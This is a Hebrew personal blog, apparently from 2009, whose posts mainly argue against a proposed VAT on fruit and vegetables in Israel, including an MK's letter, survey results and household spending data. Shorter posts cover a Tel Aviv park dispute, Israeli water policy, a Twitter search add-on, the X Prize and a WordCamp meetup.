23:50 בעקבות הפעילות בנושא המע"מ על פירות וירקות, כאן בבלוג ובקבוצת הפייסבוק, קיבלתי אתמול מכתב מחבר-הכנסת שי חרמש (קדימה). אני מביא כאן את המכתב כלשונו:
טל חג שמח
.שמי שי חרמש ואני חבר כנסת בתנועת קדימה, חבר קיבוץ כפר עזה ויו"ר הלובי החקלאי בכנסת
כחבר ועדת הכספים זו הקדנציה השניה. הספקתי לעבור 4 דיוני תקציב משנת 2006
תרגילי האוצר לחפש מקורות לתקציב לבשו צורות ודמויות שונות מידי שנה בשנה
לא אחת נאבקנו כדי לבצע תיקונים והתאמות וביושר אומר כי עשינו זאת בהצלחות חלקיות בלבד
זכור לך ודאי מאבק אשתקד להגדלת סל התרופות ויכוח שהסתיים בפשרה וניצחון חלקי
.אלא שלאורך כל שלושת השנים האחרונות ראה העולם כולו גיאות כלכלית ומכאן שהלחץ התקציבי היה קל יחסית
השנה המצב שונה בתכלית, השינויי ואוצר המדינה נזקק למקורות תקציביים בסדרי גודל שלא נודעו מאז המשבר בראשית שנות ה-2000
מכאן שהאוצר מחפש את השקל בכל סעיף וסעיף ואין דבר נוח יותר מלאתר סעיף שמן כמו זה אשר בו אנו עוסקים ואשר מספק באיבחת סכין חדה
כמעט שני מילירד שח
הבוקר הותקפתי על ידי העיתונאי נחמיה שטרסלר בעתון דה מרקר כאילו מדובר באינטרס של הלובי החקלאי החזק בכנסת
אינני מתכוון לשתוק וכתגובה אני מכין מאמר אשר אמור להתפרסם בעיתון הארץ
מאמר תקיף התומך בהטלת המס פירסם גם סבר פלוצקר היום בידיעות אחרונות וראויי להשכיל ממנו ביחס לנימוקי האוצר ביחס להטלת המס החדש
בזירת ועדת הכספים בכנסת שוררת לפי שעה חזית מקיר לקיר המתנגדת למס אולם כבר למדנו שברגע האמת אפשר ויופעל מכבש קואליציוני על חברי הקואליציה בועדה ואו אז נאבד את הרוב הדרוש
אציע בשלב זה כי כל אחד מאלף החברים יפנה ישירות לחברי הכנסת במפלגה בה בחר לאחרונה ייציין ללא היסוס כי בחר בהם באמונה שיעשו למען כל העם ולא רק למען החזקים וכי תמיכתם במס תביא אותו לשנות את עמדותיו המפלגתיות. במידה וחלק מהחברים הינם חברים באותן מפלגות אזי יש לציין זאת במפורש כי אז יש משקל יתר לפנייה
אני אמשיך להוביל את המאבק בכנסת ואני רואה בחברי באתר את צבא הלוחמים כנגד המס
אודה לך אם תפיץ פנייתי זו אליך בבלוג שלך לכל מכותבייך בפייס בוק
אנא שלך אלי את מספר הסלולרי שלך כדי שאוכל לעמוד עימך בקשר שוטף לעידכון והתייעצות
אגב האם בין החברים ניתן לאתר עיתונאי אשר ידאג לידע את התקשורת בפעילות האתר שיזמת
חג שמחח"כ שי חרמש
דעתי: אני מאד שמח לזכות לראות התייחסות מחבר כנסת מכובד בנושא שעולה לדיון על גבי הרשת ורוצה לתת את הערכתי לח"כ חרמש בהשתתפותו בדיון על גבי הרשת.
אני גם חושב שהדברים שח"כ חרמז כותב הם הגיוניים. אם אתם מורגלים בלשלוח מכתבים לח"כ, אתם מוזמנים לשלוח מכתב לח"כ במפלגה עבורה הצבעתם. אתם גם יכולים לשלוח העתק מהמכתב שלכם לפרסום בעבודה שחורה. הסבירו לח"כ שלכם שאלפי אנשים יקראו את המכתב ואת תשובתו עליו, ביניהם אנשים מהפוליטיקה, האקדמיה, התקשורת וסתם אנשים, כמוכם וכמוני.
ומה לגבי שיתוף פעולה נרחב יותר? בינתיים, למעלה מ- 120 איש הותירו את המייל שלהם בסקר הגדול - אודות הוספת מע"מ על ירקות ופירות. לאחר היוועצות עם כמה מתוכם, מסתמן שנארגן מפגש (קטן ?!) במהלך השבועיים הקרובים שמטרתו תהיה להכיר האחד את השני למקרה שנחליט לשתף פעולה לאיזשהו מבצע (א-מפלגתי!) משותף . הודעות על כך יתפרסמו בהמשך כאן בבלוג, בקבוצת המתנגדים (בפייסבוק) וישלחו במייל לאנשים שהותירו את המייל שלהם בסקר.
12:12 לפני חודש בלבד נראה היה שהמאבק של תושבי תל אביב למען פארק ירוק קריית ספר נושא פרי. אך אתמול התברר שזה טיבעי וקל להתעלם מהבטחות לציבור ולשלוח מאחורי גבם טרקטור בשביל להרוס בשטח שאיננו שלך, לתקוף על הדרך תושב שמנסה לצלם את מעשיך, ולחזור הביתה בשלום.
בשביל עדות "עיתונאית לנעשה" באפשרותכם לקרוא את הידיעה ב-mynet, שימו לב לתגובה המתחמקת של עיריית תל אביב בפיסקה האחרונה. וכדי באמת להבין מה קרה שם אתמול, תסתכלו ל-10 שניות בסרטון הבא שמתעד את מה שנעשה:
13:12 הצלחה: תוך יום אחד 194 איש מילאו את הסקר שפירסמתי בבלוג בהמשך לדיון על המעמ לפירות וירקות. זאת בזכות פירסום בבלוג, בטוויטר ובקבוצת הפייסבוק של האנשים שמתנגדים להוספת המעמ (שבינתיים כבר מונה למעלה מ- 1000 איש!).
והנה תוצאות הביניים (אפשר ללחוץ על התמונה כדי להגדילה) :
מה למדנו מהניסוי הקטן הזה?
ומה הלאה?
שלחתי הבוקר מכתב לאימייל של שר האוצר יובל שטייניץ עם פירוט החששות שלי לגבי הוספת המע"מ על ירקות ופירות. הייתי רוצה לראות האם יש לו (כלומר לאנשי קשרי הקהל שלו, אבל זה הרי אותו הדבר) מידע מעניין לספק בנושא. אולי עוד מידע ישנה את הפרספקטיבה של כולנו על הנושא.
אם אני רואה שלא תהיה תשובה עד יום שישי אני אפנה לכל האנשים שהשאירו אימייל ואשאל אותם עד כמה הם רציניים בכוונתם לנסות להוביל לשינוי מדיניות. אם יהיו אנשים שמוכנים להירתם לנושא (כי אני מוכרח עוד אנשים כדי שמשהו ישתנה), נתחיל (כנראה) בצעדים הפחות או יותר באים:
כל הצעדים שתיארתי דורשים מעט מאד זמן, רק אם מחלקים אותו על הרבה אנשים. אם הכל יהיה עלי בלבד, זה לא יתרחש. אם 30 האיש שהתחייבו בסקר להירתם אכן ירתמו - הרי שאנחנו מדברים כאן על משהו שיכול להיהפך למציאות.
מה אתם יכולים לעשות בינתיים?
להמשיך לפרסם אודות הסקר שאנשים ימלאו אותו, וגם לפרסם אודות קבוצת הפייסבוק של האנשים שמתנגדים להוספת המעמ.
23:50 כתבתי לאחרונה אודות ההצעה להוספת מע"מ על ירקות ופירות, וכעת אנו עוברים מדיונים ללקיחת עמדה.
לסקר שלפניכם יש מספר מטרות:
אני מתחייב לפרסם את תוצאות הסקר לאחר שאנשים יתחילו למלא אותו (יהיה מגניב!).
Loading…
וכעת לאחר (שבתקווה) מילאתם את הסקר, אחלוק איתכם את מטרתו האמיתית של הסקר -
מטרת הסקר היא לעודד אנשים (אותכם ואת חבריכם) לחשוב. לחשוב לא רק על נושא המע"מ (או שאר הסוגיות החברתיות שמקיפות אותנו), אלא על שאלה יותר פרקטית - כיצד את/ה יכולים להתארגן דרך האינטרנט ולהפוך את העולם למקום טוב יותר?
רוצים לעזור? תספרו לחבריכם על הפוסט הזה: במייל, בפייסבוק (יש קבוצה), בבלוג, או בשאר המקומות שאנשים נמצאים בהם. נעשה טוב ויהיה טוב…
12:35 קשה לי לדבר ולדון בנושאים תקציביים. הסיבה לכך היא שאני לא יודע מספיק: אני לא כלכלן, או סוציולוג או פוליטיקאי. אין לי משהו המתקרב לנתונים הדרושים לקבל החלטה שקולה במה שכרוך בניהול מדינה ומהזווית הזו, מי אני שאדבר?
ואף על פי כן, ישנן החלטות ממשלתיות שמצליחות לעורר אצלי ספקנות רבה, אף מעבר לעננת אי-הידיעה שאופפת אותי (וכנראה את רובינו). הגזירה החדשה הצפויה להוסיף מע"מ על רכישת פירות וירקות היא גזירה כזו.
את הפוסט הנוכחי אני כותב כיוון שהנושא נראה לי חשוב, באופן אישי ובאופן כללי. הפוסט הוא למעשה תיעוד של המחקר הקטן שעשיתי בנושא כדי להבין, עבור עצמי, במה מדובר. ואני חולק אותו איתכם בתקווה לעזור למי שרוצה לדעת יותר, ובתקווה לקבל פידבק שיוכל ללמד אותי (ואת שאר הקוראים) יותר.
אני אתחיל מלהציג מספר זוויות ראיה שהופיעו בעיתונות, להציג מספר נתונים סטטיסטיים ולבסוף אנסה להוסיף כמה מילים מדעתי האישית. כל מי שמרגיש שיש לו מה להוסיף, מוזמן בחום להשאיר תגובה.
נתחיל מהגדרות - מהו המע"מכפי שמופיע בוויקיפדיה: http://he.wikipedia.org/wiki/מס_ערך_מוסף
מע"מ, הוא מס המוטל על צריכה ומהווה חלק אינטגרלי ממערכות מיסוי במדינות רבות בעולם.
מע"מ המוחל בשיעור אחיד על הצריכה, הינו מס בעל מאפיינים רגרסיביים. שיעור הצריכה מההכנסה הולך ופוחת ככל שרמת ההכנסה עולה, כך שביחס להכנסה, שעור המע"מ המשולם גבוה יותר ככל שהכנסתו של משק הבית נמוכה יותר. או במילים אחרות: מע"מ אחיד קשה יותר לאוכלוסיות חלשות (השייכים לעשירונים התחתונים בהכנסתם).
בשביל הרקע - קצת נתונים מהלמ"ס - כמה כסף מוציאים אנשים על פירות וירקות? (או למה המע"מ המוצע הוא מס שווה לכל השכבות)הנתונים הכי חדשים שמצאתי הם עבור שנת 2006, ב"לוח 2.2 .- הוצאה חודשית לתצרוכת בעשירונים של משקי בית, לפי הכנסה כספית נטו לנפש סטנדרטית" הנה הלינק הישיר לקובץ PDF. זה לקוח מתוך סקר הוצאות משק הבית 2006 סיכומים כלליים (לינק לעמוד עם תוצאות נוספות מהסקר)
להל"ן נתונים המראים כמה שקלים מוציאים (לחודש?) על תצרוכת המזון, לפי עשירון. פירות וירקות מודגשים בירוק (גרפים בהמשך הפוסט):
היות וקשה מתוך טבלה לקבל מושג על הפרופורציות של המספר, הכנסתי אותם לגליון אקסל ושרטטתי אותם האחד ליד השני, כדי שנקבל קצת יותר מושג (פרשנותי שלי מתחת לגרפים).
הגרף העליון (עמודות בצבע בורדו) מציג את כמות ההוצאות החודשיות פר עשירון באוכלוסיה. אפשר בגרף לראות שיש הבדלים משמעותיים בין כמות ההוצעות החודשיות של אנשים מעשירונים שונים. כשאנשים מהעשירון התחתון מוציאים לחודש כ- 7000 שקל בעוד אנשים מהעשירון העליון מוציאים למעלה מ- 19,000 שקל לחודש. בתוך התקציבים הללו, כמות הכסף שיוצאת על פירות וירקות היא יחסית זעומה (בין 320 ל- 420 שקל לחודש).
אך מה שהגרף השני (שמתחתיו - זה עם העמודות הצהובות) מראה לנו, הוא שההוצאה על פירות וירקות בין העשירונים היא כמעט זהה. אנשים במדינת ישראל, לא משנה באיזה עשירון תסתכלו, מוציאים כמעט אותו הדבר על פירות וירקות (בין 320 ל- 420 ש"ח לחודש). כשעבור 7 העשירונים הראשונים, אין כמעט הבדל בכמות ההוצאות על פירות וירקות, וכולם עומדים על מתחת ל- 350 שקל לחודש.
או אם לסכם את התוצאות (אפילו שבעלי הרקע הכלכלי מביניכם יודעים זאת כבר), העלאה של המע"מ היא בפועל להעביר מס שווה על כל האוכלוסיות בארץ (מועסקים או מובטלים, צעירים או זקנים, עשירים או עניים). המס יהיה בערך של:
330 * 0.155 = (בערך) 50 ש"ח לחודש
(וזה לפני שנתניהו יעלה את המע"מ להיות 16.5% כפי שהוא מתכנן לעשות)
כלומר, מס על המע"מ יהיה מס רגרסיבי קלאסי.
הזווית הפוליטית של הסיפור (ספין פוליטי)יש הטוענים שהוספת המע"מ על פירות וירקות היא "עז גדולה". דהיינו ספין פוליטי שמטרתו להכניס סעיף מפלצתי שלאחר מכן כשיוציאו אותו מתקציב המדינה הרי שמגבשי התקציב יוכלו לומר "התפשרנו".
כך טוען שר הרווחה הרצוג בידיעה שהופיע בנענע: "שר הרווחה מאמין שהסעיף שהוא מכנה "העז הגדולה" הוכנס לתקציב לקראת המשא ומתן שיערך בכנסת, והוא "מניח שהסעיף יוסר בסופו של דבר מתקציב המדינה""
האם באמת מדובר רק בספין? ימים יגיעו - צפויה, כך נכתב, ישיבה ממשלתית על הנושא ביום רביעי הבא.
ווינט בריאות מפרסמים את הקטע הבא: "מס על ירקות ופירות - החלטה תמוהה והרסנית. בעוד שברוב מדינות העולם המערבי דנים בהטלת מיסים על מוצרים עתירי סוכר וקלוריות, בישראל מתכוונים להטיל מע"מ על פירות וירקות, מה שיגרום לירידה משמעותית בצריכה. מומחים מתחום הבריאות המומים מהצעד שעלול להכניס את ישראל למיטה חולה"
המומחים הבאים חושבים שהטלת המע"מ תוביל לעלייה בכמות התחלואה באוכלוסיה של המדינה. מדובר, לדעת רובם, בחשיבה לרווח כספי לטווח הקצר על חשבון הבריאות של תושבי המדינה לטווח ארוך (באופן שלא ישתלם כלכלית):
בנימה אישית אוסיף על זה שהסיבה לכך שמעלים מיסים על סגריות (מלבד הרווח הכספי) היא במטרה להוריד את הצריכה של הסגריות באוכלוסיה (זאת בהתבסס על מחקרים שנעשו במדינות שונות אשר הראו את הקשר הנ"ל). על כן, אם נסיק מתחום הסגריות לתחום הפירות והירקות (מי היה מדמיין שזה יקרה), הרי שנקבל שהחשש שהמיסוי יוביל לירידה בצריכת הירקות והפירות (בעיקר בשכבות החלשות), נשמעת הגיונית.
טיעון נגד: עשוי להיות שמיסוי "קטן" לא משנה את הרגלי הצריכה יותר מידי.
תשובתי לכך היא שזו שאלה אמפירית (מהו אחוז המיסוי שמשפיע על אחוזי הצריכה, עבור תחומי צריכה שונים). ואני שואל את עצמי האם מדינת ישראל תהיה מוכנה לקחת אחריות ולבצע מחקר שיבדוק את ההשלכות של שינוי כזה במדיניות הפנים, ובעיקר האם תהיה לאחר מכן ממשלה שתסכים ליישם את הממצאים, במקרה ויתגלה שאכן הוספת המע"מ יוצרת שינוי בהרגלי הצריכה. אני חושש שהתשובות לאלו היא שלילית - מה שמוביל אותי לדאגה…
הזווית הכלכלתי (כמה מרוויחים, ועל חשבון מי?)זוהי כנראה הנקודה הכי חלשה שלי בפוסט. היות ואני לא יודע. אני לא מבין במלואם את ההיבטים הכלכליים של ההחלטה על הוספת המעמ. אם יש למי מכם תובנות להעניק, ראו עצמכם מוזמנים. עם זאת, הנה מספר מקורות:
בהארץ נכתב ש: "ההחלטה להטיל מע"מ על פירות וירקות לראשונה בתולדות המדינה תפגע בעיקר בבעלי הכנסה נמוכה, אך באוצר מצביעים על הרווחים: 1.8 מיליארד שקל בשנה"
מי ייפגע מהמס? העשירונים התחתונים: "בעשירונים התחתונים מהווה ההוצאה לירקות ופירות כ-20% מההוצאה הכוללת למזון. בשכבות אלה תגדל ההוצאה למזון ב-4%-5%. מנתוני הלמ"ס עולה כי ההוצאה הממוצעת לכל השכבות מביטול הפטור תסתכם בכ-55 שקל לחודש. "
ומי ירוויח מהמס? זוהי שאלה טובה. בכתבה נאמר ש: "מי עשוי להרוויח מהמע"מ החדש על הפירות והירקות? ראשית, הירקנים ובעלי הבסטות בשווקים. הם יגבו מהצרכנים את המע"מ החדש במלואו, אך ספק רב אם המס הזה גם ימצא את דרכו אל קופות רשות המסים. אלא שגם הם מתייחסים לכך בביטול. ירקן שבבעלותו שתי חנויות במרכז תל אביב אמר אתמול: "אני לא מתרגש כי כולם מבינים שאת המס הזה בלתי אפשר לגבות. אף אחד לא יצליח לחייב כל בסטיונר בשוק לשים קופה רושמת. כולם ימכרו מתחת לשולחן". "
טיעון נגד: יהיו שיטענו שהיות ומטרת הפטור מהמע"מ על פירות וירקות הוא כדי לסייע לאוכלוסיות החלשות, הרי שאפשר להחזיר להם את הסכום שנגבה מהם באופן ישיר, ובכך להיטיב באופן ממוקד רק עם שכבות אוכלוסיה שהממשל רוצה להיטיב להן.
תשובתי לכך היא שלא ברור שלאוכלוסיות החלשות יהיה לובי שיאפשר להם לקבל את ההטבות הדרושות. בנוסף, וזה מתקשר לסוגיה הקודמת שהעליתי (השפעה על בריאות האוכלוסיה באמצעות מתן תמריץ שלילי לרכישה של פירות וירקות), אני חושש שמבחינה פסיכולוגית, אם תגבה ממישהו 50 שקל מס על פירות וירקות, ואז תחזיר לו אותם באופן עקיף, הרי שעדיין תיצור תמריץ פסיכולוגי למעט ברכישת הפירות והירקות. אם יש מי מכם שהעמיקו בכהנמן וטברסקי, ומוכנים להתייחס לטיעון הזה, אשמח מאד, היות ואלו חקרו את נושאי ה"רציונאליות" בקבלת החלטות של צרכנים. הנה סיפור לדוגמא המדגים את הרעיון: נאמר שהיום בצהריים אנו אמורים ללכת לרכוש כרטיס להופעה בעלות של 200 ש"ח. בעודנו הולכים לדוכן הכרטיסים, גילינו שאיבדנו את השטר של 200 הש"ח. האם נוציא אז כרטיס אשראי לרכישת הכרטיס (או שטר אחר של 200 ש"ח) התשובה לרובינו תהיה כן. לעומת זאת, נאמר שלאחר שרכשנו את הכרטיס, כמה דקות מאוחר יותר גילינו שאיבדנו את הכרטיס ברחוב, האם אז נחזור לדוכן הכרטיסים לרכוש כרטיס נוסף בעוד 200 ש"ח ? התשובה (שעולה מניסויים) היא שבמקרה כזה הסיכוי נמוך יותר שנרכוש את הכרטיס בשנית. זאת למרות שבשתי הסיטואציות שהרגע תיארתי, המצב שלנו הוא כביכול זהה - אך עדיין, האפשרות בה נבחר היא שונה.
טיעון נגד 2: החזרת המס תסייע למנוע רמאויות בשוק. זאת משום שכרגע אנשים שמוכרים בגדים יכולים לטעון לפקחים שהם מוכרים ירקות, ואז לא יבואו אליהם כדי לגבות מע"מ.
תשובתי לכך: אני לא יודע. לא ברור לי כיצד הטלת מע"מ בשוק יכולה להיכפות, והאם באמת למדיניות תהיה השפעה. זו שאלה שהייתי שמח לשמוע תשובות יותר מלומדות משלי.
הזווית מהשוק - מה אנשי השוק אומרים ?הם צועקים ומתלוננים, כפי שאפשר לראות בשתי כתבות הווידיאו הבאות:
והאחת מערוץ ווינט
לסיכום - מה דעתכם ? (ופייסבוק)לסיכום, העלאת מע"מ על פירות וירקות הוא מס רגרסיבי שמעמיס יותר על השכבות החלשות מאשר החזקות. מדובר בתמריץ שלילי לרכישה של מוצרי פירות וירקות מה שעלול להוביל לירידה בצריכתן ופגיעה בבריאות הציבור לטווח הארוך על חשבון רווח לקופת המדינה בטווח הקצר. ייתכן והמיסוי השווה יקל על גבייה כללית מהשווקים, אך זה לא ברור. ההכנסותו בפירוש יועילו למשק, אך לא ברור שלא היה עדיף לקחת אותם מהאוכלוסיות החזקות יותר לדוגמא על ידי העלאת המיסוי ממוצרי צריכה השייכים לעשירונים העליונים יותר. דבר אחד ברור, לשכבות החלשות יש פחות משאבים, לפני ואחרי, להיאבק על תמיכת הממשלה בהן. דוגמאות כמו ההתנהגות של ממשלתנו כלפי ניצולי השואה היא דוגמא טובה (ועצובה) לכך.
אם אתם מסכימים ומקבלים את מה שכתבתי, אתם מוזמנים להוסיף את עצמכם לקבוצת הפייסבוק שפתחתי בנושא: מע"מ על פירות וירקות? אני נגד
ובכל מקרה, אשמח לקרוא למטה את תגובתכם לפוסט…
11:17 הסרטון מציג את הכלי החדש שגוגל השיקה (היום?) לחיתוך, פילוח ושיפור תוצאות החיפוש שלנו בגוגל. זה כולל אפשרויות כגון:
מעניין איזה שיטות SEO נוספות יפסיקו לעבוד בקרוב….
צפיה מהנה:
תודה ליגאל חמיש על הלינק.
9:45 השבוע נתקלתי בשתי תכונות אשר אהובות עלי בבני אדם: הראשונה היא הרצון (ולקיחת המחוייבות) להפוך את העולם למקום טוב יותר. השניה היא הנכונות לקיים דיאלוג פתוח על כיצד עולם טוב יותר צריך להיראות (וכיצד להגיע אליו).
את שתי התכונות הללו זכיתי לראות אצל דניאל שלגי-שירה. באחרונה פנה אלי דניאל וביקש שאפרסם בלוג חדש שהוא הקים בשם "יש מים בישראל". באודות האתר נכתב כך:
שלום לכולם,
שמי דניאל ואני אזרח שאכפת לו ממה שקורה במדינה שלנו.
במדינת ישראל אין בעית מים, במדינת ישראל יש בעית ניהול.
האתר הזה יתרכז בנושא זה. אודה לכל מי שיכול לתת כתף ולכתוב דעה, מאמר, מחקר, הצעה לדיון וכל טקסט, תמונה, סרטון וכל מדיה אחרת בנושא זה.
אצטט כאן מאמרים מהעיתונות ומבלוגים דיעות שונות לגבי הדרכים לפתרון בעיית המים שאין בישראל - תשדירי שירות עם סלב'ס מאופרים בסדקים הם אינם פיתרון!
ניתן לקרוא עוד בפוסט הראשון של בלוג/אתר זה.
ניתן ליצור עימי קשר כאן
עוד עליי באתר שלי
תודה.
בהצלחה לכולנו
דניאל
(נ.ב: ההדגשה בטקסט היא שלי)
הערכתי מאד את היוזמה והפניה של דניאל, ולאחר התכתבות קצרה ביני לבינו קיבלתי את האישור לפנות למומחה בנושא המים (מקהילת הוורדפרס) הלוא הוא אלעד מבלוגלי. התוצאה הייתה תגובה עניינית ומעניינת בנושא משבר המים בישראל. לאחר קבלת אישורם של אלעד ודניאל, אני מפרסם בפניכם את תגובתו של אלעד:
שלום טל,
ראשית צריך לברך על היוזמה שכן ככלל מעורבת אזרחית היא ברוכה.
אני חושב שלהגיד שיש בעיית ניהול זה לא מדוייק. ברגע שישנו פתרון טכנולוגי סביר, קרי התפלה, יותר נכון לומר שזה נושא של מדיניות. העובדות נכונות. הממשלה החליטה בעבר על זירוז ההתפלה אבל הביצוע התמהמה. אגב, פועלת בחודשים האחרונים ועדה ממלכתית לבדיקת משק המים.
המצב הנקודתי כיום הוא אכן מצב של מחסור אך בשלבי בניה ומכרז יש כמה פרויקטים גדולים שאמורים להביא את כמות המים המותפלים בשנת 2013 לכ- 600 מלמ"ק (מליוני מטרים מעוקבים) שזה בהחלט אמור להעמיד אותנו על הרגלים. אני יכול לפרט את המספרים במידה ותרצה.
נחזור לנושא המדיניות. הממלכה צריכה להחליט מה היא רוצה? לדוגמה נושא החקלאות: האם דניאל מסכים להמשיך ולסבסד את המים לחקלאות? אם כן, בכמה? אולי הוא יגיד שחקלאות מסורתית שאינה יכולה לשלם את המחיר הראלי של המים צריכה להיעלם (שוק חופשי). אחרים סבורים שלחקלאות יש ערך מוסף למדינה: עצמאות מסוימת באספקת מזון, שמירה על שטחים ירוקים, שמירה על קרקעות המדינה, ישוב הפריפריה ועוד.
רוצה עוד מדיניות? מדינת ישראל מתפארת בכך שהיא מובילה בעולם בתחום השבת הקולחים (כ- 70%). מדינות אחרות סבורות שאין מקום לעשות שימוש מסיבי כזה במים מושבים לחקלאות וצריך לטפל בשפכים עד לדרגה בה יהיה ניתן לשפוך אותם לנחלים ולים. בחודש שעבר פורסם תחקיר בשם poisoned waters של frontline מ- pbs (הלוואי עלינו טלוויזיה ציבורית כזו). ניתן לצפות בכתבה באינטרנט:
[www.pbs.org]
התחקיר מצביע על כל מיני חומרים כגון הורמונים ושאריות של תרופות שלא מסולקים בתהליכי הטיפול במים וגורמים לכל מיני דברים נהדרים - שינוי מין אצל חיות. בההה.מילה נוספת בנושא ההתפלה. אומנם חלה התקדמות גדולה בתחום בשנים האחרונות ומחיר המים המותפלים ירד (כשלושה שקלים למ"ק בשער המפעל) אבל יש לכך צדדים נוספים. התפלה היא זללן אנרגיה. ישנו צורך בהגדלת הייצור כלומר להוסיף זיהום אוויר. ומה יגידו הפלפלים המסכנים שמתו ממחסור במגנזיום במים החדשים שקבלו?
לסיכום, אני לא חושב שמעבירים את האחריות לאזרחים אלא מבקשים מהציבור להשתתף במאמץ הנקודתי. באופן כללי, באזור בו יש מחסור טבעי במים, יש לחנך לחיסכון. הפחדה בדוגמנית מתקלפת לא נראה לי שעובד במיוחד. אבל החינוך דפוק, זה אנחנו כבר יודעים.
מקווה שעזרתי קצת. אשמח לענות על שאלות במידה ואוכל. אתה כמובן מוזמן להעביר את הדברים לדניאל.
שבת שלום,
אלעד
תחילת הדיון שהצגתי בפניכם הרחיב את אופקי, למידע נוסף ניתן לפנות לערך "משק המים בישראל" בויקיפדיה.
דעתי: שקטונתי מלהביא דעה. מלבד לומר שכל כלב משמר שנוסף באינטרנט לשמירה על אינטרסים ציבוריים, היא בעיני יוזמה מבורכת.
דעות, תגובות ותודות - ניתן להשאיר בתגובות…
23:31 (פוסט זה מוקדש למרים שוויב - השאלה שלה היא שהובילה לפוסט הזה)
טוויטר הוא מנוע חיפוש: כבר הזכרתי בעבר את הרעיון לפיו טוויטר הוא בעצם מנוע חיפוש. מנוע שמחפש בתוך "זרם התודעה" של קהל קהל המשתמשים של טוויטר (המטווטרים, או "המצייצים"). יהיו שיטענו שהקהל הזה איננו משקף את שאר האוכלוסיה, ובמקרה הטוב מייצג תת פלח של אנשים שהם early adopters (איך מתרגמים את זה? "משקימי אימוץ"?!) של טכנולוגיות חדשות (כמו טוויטר). במקרה הרע, הטוויטים משקפים קהל של נרקיסיסטים שאין להם חברים (צפו בסרטון אם לא זיהתם את הבדיחה). כך או אחרת, לפעמים מעניין אותי לדעת מהם הדעות של האנשים הללו. ומסתבר שלא רק אותי - מחיפוש זריז בגוגל-מגמות אחר הצירוף "twitter search", אפשר לראות שאנחנו כרגע באמצע של זינוק מעריכי בכמות החיפושים בגוגל אחר צירוף המילים "twitter search" (משמע: יותר ויותר אנשים מתחילים להתעניין ברעיון הזה)
דוגמא לחיפוש: שיעניין אותי לבצע בטוויטר הוא אחר הצירוף star trek. שהרי היום יצא הסרט החדש, ואני רוצה לדעת מהם הדעות של האנשים על הסרט והאם שווה לצפות (כלומר, ברור שאני אראה את הסרט, השאלה היא עם איזה ציפיות אני הולך להגיע). לאחר שביצעתי את החיפוש אני מגלה הרבה דעות של אנשים, אבל הייתי רוצה דרך כלשהי לסכם את מה שהאנשים חושבים. הדרך ההגיונית לעשות זאת הייתה אילו יכולתי לראות ענן תגיות עבור המילים שמופיעות בסטטוסים של אנשים.
תוסף פיירפוקס שאתם רוצים לנסות: ובדיוק בשביל לזהות מגמות של מילים בתוך חיפושים שלי בטוויטר, חיפשתי וגילתי את תוסף הפיירפוקס המעולה "Search Cloudlet for Google, Yahoo and Twitter". מרגע שמתקינים אותו, אפשר לראות בתוצאות החיפוש שלכם (בגוגל, יאהו וטוויטר) ענן תגיות שמופיע מעל לתוצאות החיפוש. במקרה של טוויטר, הענן גם מופיע כשאתם נכנסים לדף האישי שלכם בטוויטר ומאפשר לראות את הענן של התגובות של אנשים אליכם, המסרים האישיים והטוויטים שלכם.
במקרה ואתם רוצים להשתמש בשירות על טוויטר, מומלץ להגדיל את מספר תוצאות החיפוש המופיעות בדף הראשי ל- 50 (על ידי לחיצה על ה- prefrences ליד תיבת החיפוש).
ומה אנשים אמרו על סטאר-טרק ? (אתם שואלים)
שהוא גדול, נהדר ועוד, ראו בתמונה המצורפת:
לסיום ראוי לציין שהתוסף הזה גם מציג ענן מילים לתוצאות חיפוש בגוגל. עם אפשרויות מעניינות לשיפור החיפוש (על ידי לחיצה על מילה בענן כדי להוסיף או להסיר אותה מהחיפוש. הצד הימני של המילה מוסיף אותה והלחיצה על הצד השמאלי של המילה יסיר אותה - שחקו עם זה ותגלו), וגם אפשרות לראות ענן תגיות של אתרי-אינטרנט שמופיעים לתוצאות החיפוש ועוד כמה צ'ופרים. התוסף שווה התעניינות…
8:49 הסיפור של פרס X (המקורי, וגם מה שהתפתח ממנו) הוא מעניין וראוי להיכרות על ידי כל ייזם באשר הוא. אם לתמצת: מדובר באדם שרצה לעוף לחלל, גילה שאין לו סיכוי לעשות זאת דרך נאס"א (היות והם משגרים מעט מידי משלחות, ורוב האסטרונאוטים שלהם מוגדרים בתור "פינגווינים" = ציפורים ללא כנפיים). כמעט מיואש מחלומו, ממציא פרס ה- X גילה שהאדם הראשון שחצה את האוקינוס האטלנטי באמצעות מטוס (ובכך פתח את הצוהר לתעשיה המודרנית של תחבורה באמצעות כלי תעופה), עשה זאת כדי לזכות בפרס. מעודד מהרעיון, פנה הוגה פרס ה- X (ד"ר פיטר דיאמנטיס), לגייס משקיעים, וליצור פרס לקבוצה הראשונה שתצליח להרים כלי תעופה לגובה מסויים (שנקבע מראש). התוצאות היו מעולות. פיטר משתף תובנות מעמיקות על היישום של פרסים ליצירת פריצות דרך (כגון: יחס של בין 10 ל- 50 לכל דולר שסופנסר משקיע בפרס. יחסי ציבור לסוג הזה של המאמץ לספונסר ולמתחרים, וערך לציבור במקרה שיש זכיה). על התובנות שלו מדבר פיטר בהרצאתו בטד: (צפיית חובה לכל יזם) :
עידכון: אם אתם רוצים את ההרצאה המלאה של פיטר בכנס "ארוך עכשיו" (הרצאה של כשעה בערך), תוכלו להוריד אותה מכאן.
והסיבה לכך שאני מדבר איתכם על פרס ה- X היא בגלל אחד ממקבלי ההשראה שלו: פרס ה- M (מתושלח) - פרס הניתן לחוקרים המאפשרים לעכברי מעבדה לחיות באופן דרמטי מעבר לשנות חייהם.
הסתבר לי היום שקרן מתושלח השיגה תוצאות דרמטיות מספיק כדי שערוץ חדשות בחו"ל ידווח עליהם.
הנה לינק לדיווח של ערוץ KTLA על טכנולוגיות חדשות למלחמה בזיקנה ולהארכת חיים (בריאים) עבור כולנו.
ערוץ החדשות KTLA מראיין את מנהל קרן פרס ה- M שטוען "כמו שהעלמנו את הפוליה, כך עלינו להילחם בשאר מחלות הזיקנה!". הכתבה בערוץ אף מזכירה את הטכנולוגיה המתפתחת של הדפסת איברים - ספציפית זו של החברה organovo אשר שואפת להדפיס (בתלת מימד) איברים בהתאם ל- DNA שלנו.
המרגש, עבורי, בהודעה התקשורתית הזו היא לא חדשנית, אלא זה שמדובר בעדות לחדירה של רעיונות שעד לאחרונה נחשבו "סהרוריים" למדיה מרכזית יותר. כוונתי היא לרעיון שאפשר וחובה לחקור (ולרפא) את מחלות הזיקנה.
11:01 כפי שפורסם כעת בבלוג הפעילים של וורדקמפ ישראל:
מחר, יום חמישי הקרוב (7.5.09), יתקיים מפגש התנעה ראשון של פעילי קהילת וורדפרס המבקשים להרים את כנס וורדקמפ ישראל 2009.
